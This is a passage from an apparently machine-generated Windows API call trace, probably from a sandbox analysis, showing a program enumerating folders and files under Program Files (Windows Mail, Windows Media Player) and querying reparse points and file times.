(lpFileName="C:\\Program Files\\Windows Journal\\Templates" (normalized: "c:\\program files\\windows journal\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0249.489] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0249.489] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0249.489] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0249.549] GetLastError () returned 0x12 [0249.549] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0249.549] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0249.550] GetLastError () returned 0x12 [0249.550] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.550] GetLastError () returned 0x12 [0249.550] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0249.550] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9ff2e530, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff2e530, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.551] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0249.551] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0249.551] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0249.551] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd520 [0249.590] GetLastError () returned 0x12 [0249.590] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5e0 [0249.597] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0249.622] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.622] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\en-US" (normalized: "c:\\program files\\windows mail\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0249.623] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0249.623] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0249.628] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0249.628] GetLastError () returned 0x12 [0249.629] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0249.629] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0249.629] GetLastError () returned 0x12 [0249.629] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0249.629] GetLastError () returned 0x12 [0249.629] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0249.629] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0249.629] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0249.629] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0249.629] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5e0 [0249.630] GetLastError () returned 0x12 [0249.630] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5a0 [0249.630] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.630] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US" (normalized: "c:\\program files\\windows media player\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.635] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US" (normalized: "c:\\program files\\windows media player\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0249.635] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0249.636] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0249.636] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0249.787] GetLastError () returned 0x12 [0249.790] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0249.805] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.813] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ccca7f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.821] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 1 [0249.823] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 0 [0249.825] GetLastError () returned 0x12 [0249.825] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0249.938] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0249.939] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0249.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons" (normalized: "c:\\program files\\windows media player\\icons"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.957] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Icons" (normalized: "c:\\program files\\windows media player\\icons"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0249.957] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0249.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0249.967] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0249.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0249.967] NtClose (Handle=0x1a8) returned 0x0 [0249.967] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0249.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0249.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655120 [0249.967] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0249.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd520 [0249.968] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.968] FindNextFileW (in: hFindFile=0x4fd520, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.968] GetLastError () returned 0x12 [0249.968] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0249.968] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0249.968] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.968] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.968] GetLastError () returned 0x12 [0249.968] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0249.968] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0249.968] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655120) returned 1 [0249.968] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0249.968] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="")) returned 1 [0249.968] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0249.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files\\windows media player\\media renderer"), fInfoLevelId=0x0, lpFileInformation=0x15ff3c0 | out: lpFileInformation=0x15ff3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80471418, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80471418, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0249.969] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer" (normalized: "c:\\program files\\windows media player\\media renderer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0249.969] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0249.969] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0249.969] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0249.969] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0249.969] NtClose (Handle=0x1b8) returned 0x0 [0249.969] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0249.969] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655098 [0249.969] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1655120 [0249.969] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x1656908 [0249.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0250.018] 